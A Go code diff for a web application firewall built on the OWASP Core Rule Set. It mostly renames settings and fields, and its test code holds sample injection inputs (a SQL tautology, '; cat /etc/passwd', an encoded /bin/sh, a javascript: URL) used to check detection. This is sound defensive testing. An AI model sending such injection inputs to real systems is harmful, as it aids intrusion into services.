if value != "response" && value != "request" && value != "both" {
|
||||||
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCount))
|
e.check(name, fmt.Errorf("%q %w", value, errNotBytesCounted))
|
||||||
}
|
}
|
||||||
|
|
||||||
return value
|
return value
|
||||||
@@ -859,12 +891,13 @@ func (e *environment) trapPaths(name string) []string {
|
|||||||
return paths
|
return paths
|
||||||
}
|
}
|
||||||
|
|
||||||
// wafMode reads the setting that is what the Core Rule Set does: off,
|
// coreRuleSetMode reads the setting that is what the Core Rule Set does: off,
|
||||||
// detect or block.
|
// detect or block.
|
||||||
func (e *environment) wafMode(name, defaultValue string) string {
|
func (e *environment) coreRuleSetMode(name, defaultValue string) string {
|
||||||
mode := e.value(name, defaultValue)
|
mode := e.value(name, defaultValue)
|
||||||
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
|
if mode != CoreRuleSetModeOff && mode != CoreRuleSetModeDetect &&
|
||||||
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
|
mode != CoreRuleSetModeBlock {
|
||||||
|
e.check(name, fmt.Errorf("%q %w", mode, errNotCoreRuleSetMode))
|
||||||
}
|
}
|
||||||
|
|
||||||
return mode
|
return mode
|
||||||
@@ -1078,7 +1111,7 @@ func (e *environment) lookupSource(name, defaultValue string) string {
|
|||||||
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
|
// checkLookupDBPath refuses SWW_WAF_LOOKUP_SOURCE=file without
|
||||||
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
|
// SWW_WAF_LOOKUP_DB_PATH, and SWW_WAF_LOOKUP_DB_PATH with any other source:
|
||||||
// one source at a time.
|
// one source at a time.
|
||||||
func (e *environment) checkLookupDBPath(cfg *Config) {
|
func (e *environment) checkLookupDBPath(cfg *WAF) {
|
||||||
switch {
|
switch {
|
||||||
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
case cfg.LookupSource == fileSource && cfg.LookupDBPath == "":
|
||||||
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
|
e.check("SWW_WAF_LOOKUP_SOURCE", fmt.Errorf(
|
||||||
@@ -1100,9 +1133,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) {
|
|||||||
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
|
// up: the country list, SWW_WAF_ADD_LOOKUP_HEADERS, the tag settings that name
|
||||||
// an asn= or country= tag, the biased thresholds,
|
// an asn= or country= tag, the biased thresholds,
|
||||||
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
|
// SWW_WAF_ASN_LIMIT_PERCENT_URL among them, of which
|
||||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it lowers a
|
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT needs them only below 100, where it lowers a
|
||||||
// limit, and the anomaly thresholds per AS number.
|
// limit, and the anomaly thresholds per AS number.
|
||||||
func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
func (e *environment) checkCountriesAndLookups(cfg *WAF) {
|
||||||
for _, country := range cfg.ExclusivelyAllowedCountries {
|
for _, country := range cfg.ExclusivelyAllowedCountries {
|
||||||
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
if slices.Contains(cfg.TagDeny, CountryTagPrefix+country) {
|
||||||
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
e.check("SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
|
||||||
@@ -1129,9 +1162,9 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
|||||||
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
{"SWW_WAF_TAG_DENY", slices.ContainsFunc(cfg.TagDeny, onlyLookupGives)},
|
||||||
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
{"SWW_WAF_TAG_LIMIT_PERCENT", slices.ContainsFunc(
|
||||||
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
slices.Collect(maps.Keys(cfg.TagLimitPercent)), onlyLookupGives)},
|
||||||
{"SWW_WAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0},
|
{"SWW_WAF_ASN_BYTES_LIMIT_PERCENT", len(cfg.ASNBytesLimitPercent) > 0},
|
||||||
{"SWW_WAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0},
|
{"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT", len(cfg.CountryBytesLimitPercent) > 0},
|
||||||
{"SWW_WAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100},
|
{"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT", cfg.UnknownCountryLimitPercent < 100},
|
||||||
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
{"SWW_WAF_ASN_LIMIT_PERCENT_URL", cfg.ASNLimitPercentURL != ""},
|
||||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0},
|
||||||
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
{"SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0},
|
||||||
@@ -1150,7 +1183,7 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) {
|
|||||||
|
|
||||||
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
|
// checkASNLimitPercentURL refuses SWW_WAF_ASN_LIMIT_PERCENT_URL naming a
|
||||||
// blocklist too: the file at a URL is fetched as one list or the other.
|
// blocklist too: the file at a URL is fetched as one list or the other.
|
||||||
func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
func (e *environment) checkASNLimitPercentURL(cfg *WAF) {
|
||||||
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
if slices.Contains(cfg.BlocklistURLs, cfg.ASNLimitPercentURL) {
|
||||||
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
|
e.check("SWW_WAF_ASN_LIMIT_PERCENT_URL",
|
||||||
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
fmt.Errorf("%q %w", cfg.ASNLimitPercentURL, errInBlocklistURLs))
|
||||||
@@ -1160,7 +1193,7 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) {
|
|||||||
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
|
// checkCrowdSec refuses SWW_WAF_CROWDSEC_LAPI_URL without
|
||||||
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
// SWW_WAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list
|
||||||
// that is fetched as another list too.
|
// that is fetched as another list too.
|
||||||
func (e *environment) checkCrowdSec(cfg *Config) {
|
func (e *environment) checkCrowdSec(cfg *WAF) {
|
||||||
decisionsURL := cfg.CrowdSecDecisionsURL
|
decisionsURL := cfg.CrowdSecDecisionsURL
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
@@ -1186,7 +1219,7 @@ func (e *environment) checkCrowdSec(cfg *Config) {
|
|||||||
|
|
||||||
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
|
// checkTagLists refuses a list of SWW_WAF_TAG_LISTS whose URL is fetched as
|
||||||
// another list too: the file at a URL is read as one kind of list.
|
// another list too: the file at a URL is read as one kind of list.
|
||||||
func (e *environment) checkTagLists(cfg *Config) {
|
func (e *environment) checkTagLists(cfg *WAF) {
|
||||||
for _, list := range cfg.TagLists {
|
for _, list := range cfg.TagLists {
|
||||||
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
if slices.Contains(cfg.BlocklistURLs, list.URL) ||
|
||||||
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
list.URL == cfg.ASNLimitPercentURL || list.URL == cfg.CrowdSecDecisionsURL {
|
||||||
@@ -1201,7 +1234,7 @@ func (e *environment) checkTagLists(cfg *Config) {
|
|||||||
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
|
// checkTags refuses a tag of SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT that would
|
||||||
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
// never apply: crowdsec, whose request is refused before tags are acted on, and
|
||||||
// any tag these settings cannot give a request.
|
// any tag these settings cannot give a request.
|
||||||
func (e *environment) checkTags(cfg *Config) {
|
func (e *environment) checkTags(cfg *WAF) {
|
||||||
for _, tag := range cfg.TagDeny {
|
for _, tag := range cfg.TagDeny {
|
||||||
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
|
e.check("SWW_WAF_TAG_DENY", checkTag(cfg, tag))
|
||||||
}
|
}
|
||||||
@@ -1212,7 +1245,7 @@ func (e *environment) checkTags(cfg *Config) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// checkTag returns an error when tag would never apply, as checkTags says.
|
// checkTag returns an error when tag would never apply, as checkTags says.
|
||||||
func checkTag(cfg *Config, tag string) error {
|
func checkTag(cfg *WAF, tag string) error {
|
||||||
if tag == CrowdSecTag {
|
if tag == CrowdSecTag {
|
||||||
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
|
return fmt.Errorf("%q %w", tag, errCrowdSecTag)
|
||||||
}
|
}
|
||||||
@@ -1225,17 +1258,17 @@ func checkTag(cfg *Config, tag string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// requestCanGetTag reports whether anything cfg sets up can give a request tag.
|
// requestCanGetTag reports whether anything cfg sets up can give a request tag.
|
||||||
func requestCanGetTag(cfg *Config, tag string) bool {
|
func requestCanGetTag(cfg *WAF, tag string) bool {
|
||||||
isListName := func(list TagList) bool { return list.Name == tag }
|
isListName := func(list TagList) bool { return list.Name == tag }
|
||||||
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
|
if isLookupTag(tag) || slices.ContainsFunc(cfg.TagLists, isListName) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
if tag == ExploitSignatureTag {
|
if tag == ExploitSignatureTag {
|
||||||
coreRuleSetOn := cfg.WAFMode != WAFModeOff &&
|
coreRuleSetOn := cfg.CoreRuleSetMode != CoreRuleSetModeOff &&
|
||||||
cfg.WAFAnomalyThreshold != 0
|
cfg.CoreRuleSetScoreThreshold != 0
|
||||||
|
|
||||||
return cfg.RulesEnabled || coreRuleSetOn
|
return cfg.RuleFilesEnabled || coreRuleSetOn
|
||||||
}
|
}
|
||||||
|
|
||||||
if tag == AbuseIPDBTag {
|
if tag == AbuseIPDBTag {
|
||||||
@@ -1256,14 +1289,14 @@ func requestCanGetTag(cfg *Config, tag string) bool {
|
|||||||
|
|
||||||
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
|
// TagsNeedLookup reports whether SWW_WAF_TAG_DENY or SWW_WAF_TAG_LIMIT_PERCENT
|
||||||
// names an asn= or country= tag.
|
// names an asn= or country= tag.
|
||||||
func (c *Config) TagsNeedLookup() bool {
|
func (c *WAF) TagsNeedLookup() bool {
|
||||||
return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
|
return slices.ContainsFunc(c.TagDeny, isLookupTag) ||
|
||||||
tagLimitNeedsLookups(c)
|
tagLimitNeedsLookups(c)
|
||||||
}
|
}
|
||||||
|
|
||||||
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
|
// tagLimitNeedsLookups reports whether SWW_WAF_TAG_LIMIT_PERCENT names an asn=
|
||||||
// or country= tag.
|
// or country= tag.
|
||||||
func tagLimitNeedsLookups(cfg *Config) bool {
|
func tagLimitNeedsLookups(cfg *WAF) bool {
|
||||||
for tag := range cfg.TagLimitPercent {
|
for tag := range cfg.TagLimitPercent {
|
||||||
if isLookupTag(tag) {
|
if isLookupTag(tag) {
|
||||||
return true
|
return true
|
||||||
@@ -1639,10 +1672,10 @@ func durationOrDays(value string) (time.Duration, error) {
|
|||||||
return time.Duration(n) * day, nil
|
return time.Duration(n) * day, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
|
// parseCoreRuleSetBodyInspectionSize reads the most of a request body the Core Rule Set
|
||||||
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
|
// reads: a size as parseSize reads it, or off, but at most 64K, since waf
|
||||||
// gets no more of a body than that.
|
// gets no more of a body than that.
|
||||||
func parseWAFBodyLimit(value string) (int64, error) {
|
func parseCoreRuleSetBodyInspectionSize(value string) (int64, error) {
|
||||||
limit, err := parseSize(value)
|
limit, err := parseSize(value)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, err
|
return 0, err
|
||||||
|
|||||||
+602
-550
File diff suppressed because it is too large.
Load diff
@@ -1,9 +1,9 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the five changes sww
|
// body while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, with the
|
||||||
// makes to it, the fixes for the apps SWW_WAF_APPS names, and the exclusions in
|
// five changes sww makes to it, the fixes for the apps SWW_WAF_APPS names,
|
||||||
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
|
// and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack
|
||||||
// in SPEC.md describes them. It reads no response.
|
// detection" under "Settings" in SPEC.md describes them. It reads no response.
|
||||||
//
|
//
|
||||||
// sww writes only to its state directory, so Coraza is built with
|
// sww writes only to its state directory, so Coraza is built with
|
||||||
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
|
||||||
@@ -34,8 +34,8 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set, the exclusions file for
|
||||||
// and the directives of every app in apps for the third.
|
// the second, and the directives of every app in apps for the third.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
@@ -43,7 +43,7 @@ import (
|
|||||||
// without the spaces at the start of the next.
|
// without the spaces at the start of the next.
|
||||||
const directives = `
|
const directives = `
|
||||||
# The engine only detects. sww compares the request's anomaly
|
# The engine only detects. sww compares the request's anomaly
|
||||||
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
# score with SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD itself, in block and detect mode
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||||
SecRuleEngine DetectionOnly
|
SecRuleEngine DetectionOnly
|
||||||
SecRequestBodyAccess Off
|
SecRequestBodyAccess Off
|
||||||
@@ -224,9 +224,10 @@ type Params struct {
|
|||||||
// DisabledRules are the ids of the rules switched off
|
// DisabledRules are the ids of the rules switched off
|
||||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||||
DisabledRules []int
|
DisabledRules []int
|
||||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
// BodyInspectionSize is the most of a request body the Core Rule Set
|
||||||
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
// reads (SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE), 0 while it is off
|
||||||
BodyLimit int64
|
// and it reads none.
|
||||||
|
BodyInspectionSize int64
|
||||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
@@ -336,8 +337,8 @@ func checkExclusions(exclusions string) error {
|
|||||||
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
|
||||||
// for concurrent use.
|
// for concurrent use.
|
||||||
type CoreRuleSet struct {
|
type CoreRuleSet struct {
|
||||||
engine coraza.WAF
|
engine coraza.WAF
|
||||||
bodyLimit int64
|
bodyInspectionSize int64
|
||||||
// appsByHostname are the names of the apps each hostname serves, by
|
// appsByHostname are the names of the apps each hostname serves, by
|
||||||
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
|
||||||
appsByHostname map[string][]string
|
appsByHostname map[string][]string
|
||||||
@@ -345,14 +346,14 @@ type CoreRuleSet struct {
|
|||||||
|
|
||||||
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
// New returns the Core Rule Set with the five changes and the apps' fixes,
|
||||||
// at params' paranoia level, without the rules it switches off, reading
|
// at params' paranoia level, without the rules it switches off, reading
|
||||||
// request bodies up to params' limit, and with params' exclusions file
|
// request bodies up to params' body inspection size, and with params'
|
||||||
// loaded before the Core Rule Set's rules. An exclusions file is an error
|
// exclusions file loaded before the Core Rule Set's rules. An exclusions
|
||||||
// if it cannot be read or does not parse, or if checkExclusions refuses
|
// file is an error if it cannot be read or does not parse, or if
|
||||||
// it.
|
// checkExclusions refuses it.
|
||||||
func New(params Params) (*CoreRuleSet, error) {
|
func New(params Params) (*CoreRuleSet, error) {
|
||||||
body := ""
|
body := ""
|
||||||
if params.BodyLimit > 0 {
|
if params.BodyInspectionSize > 0 {
|
||||||
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
|
body = fmt.Sprintf(bodyDirectives, params.BodyInspectionSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
exclusions := ""
|
exclusions := ""
|
||||||
@@ -396,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return &CoreRuleSet{
|
return &CoreRuleSet{
|
||||||
engine: engine,
|
engine: engine,
|
||||||
bodyLimit: params.BodyLimit,
|
bodyInspectionSize: params.BodyInspectionSize,
|
||||||
appsByHostname: params.Apps,
|
appsByHostname: params.Apps,
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -481,18 +482,19 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
|
||||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
// set and the body is of a kind the Core Rule Set reads: form data and
|
||||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
|
||||||
// when they are no longer than that, since they cannot be read in part.
|
// JSON and XML, which it reads only when they are no longer than that,
|
||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// since they cannot be read in part.
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// readBody reads one byte past c.bodyInspectionSize, to tell which they
|
||||||
// that ended the reading early, if one did.
|
// are, gives the Core Rule Set what it reads, and returns what it read and
|
||||||
|
// the error that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(
|
func (c *CoreRuleSet) readBody(
|
||||||
tx types.Transaction,
|
tx types.Transaction,
|
||||||
body io.Reader,
|
body io.Reader,
|
||||||
) ([]byte, error) {
|
) ([]byte, error) {
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyInspectionSize == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -509,9 +511,9 @@ func (c *CoreRuleSet) readBody(
|
|||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
|
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
|
||||||
|
|
||||||
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
|
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
|
||||||
// Coraza holds what it reads of the body in memory, up to the
|
// Coraza holds what it reads of the body in memory, up to the
|
||||||
// limit, so this cannot fail.
|
// limit, so this cannot fail.
|
||||||
_, _, _ = tx.WriteRequestBody(read)
|
_, _, _ = tx.WriteRequestBody(read)
|
||||||
|
|||||||
@@ -919,6 +919,10 @@ const retypeKey = "retype"
|
|||||||
// system files (930120) holds.
|
// system files (930120) holds.
|
||||||
const htaccess = ".htaccess"
|
const htaccess = ".htaccess"
|
||||||
|
|
||||||
|
// binSh is the shell path /bin/sh as a query or form value, which the rule for
|
||||||
|
// shell paths (932160) refuses.
|
||||||
|
const binSh = "%2Fbin%2Fsh"
|
||||||
|
|
||||||
// hardValues are words that name commands and files, as a query or form
|
// hardValues are words that name commands and files, as a query or form
|
||||||
// value. An app's tests check that its fields let them through.
|
// value. An app's tests check that its fields let them through.
|
||||||
//
|
//
|
||||||
@@ -1089,7 +1093,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
|||||||
const workers, perBody = 16, 10
|
const workers, perBody = 16, 10
|
||||||
|
|
||||||
crs, err := loaderFor(coreruleset.Params{
|
crs, err := loaderFor(coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||||
|
BodyInspectionSize: bodyInspectionSize,
|
||||||
})()
|
})()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -1166,15 +1171,18 @@ func misfiringPasswords(t *testing.T) []string {
|
|||||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
misfiring := misfiringPasswords(t)
|
misfiring := misfiringPasswords(t)
|
||||||
names := []string{name}
|
names := []string{name}
|
||||||
|
|
||||||
body := passwordBody(t, r, names, misfiring...)
|
body := passwordBody(t, r, names, misfiring...)
|
||||||
if len(body) > bodyLimit {
|
if len(body) > bodyInspectionSize {
|
||||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
t.Fatalf(
|
||||||
|
"a body of %d bytes is cut at bodyInspectionSize",
|
||||||
|
len(body),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||||
@@ -1197,7 +1205,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
|||||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{
|
for _, attack := range []string{
|
||||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||||
@@ -1217,7 +1225,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
|||||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||||
body := passwordBody(t, r, []string{name}, attack)
|
body := passwordBody(t, r, []string{name}, attack)
|
||||||
@@ -1307,7 +1315,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
|||||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -1364,7 +1372,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := readingBodies(t)
|
crs := readingBodies(t)
|
||||||
|
|
||||||
@@ -1400,7 +1408,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
|||||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
crs := atDefaults(t)
|
crs := atDefaults(t)
|
||||||
|
|
||||||
@@ -1480,7 +1488,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// A command after a ";" in q is still refused on each of these paths.
|
// A command after a ";" in q is still refused on each of these paths.
|
||||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||||
|
|
||||||
for _, target := range []string{
|
for _, target := range []string{
|
||||||
"/alice?tab=repositories&q=",
|
"/alice?tab=repositories&q=",
|
||||||
@@ -1505,12 +1513,12 @@ const (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
||||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
return shared(t, coreruleset.Params{
|
return shared(t, coreruleset.Params{
|
||||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1572,7 +1580,7 @@ func wordpressAttackTargets(attack string) []string {
|
|||||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
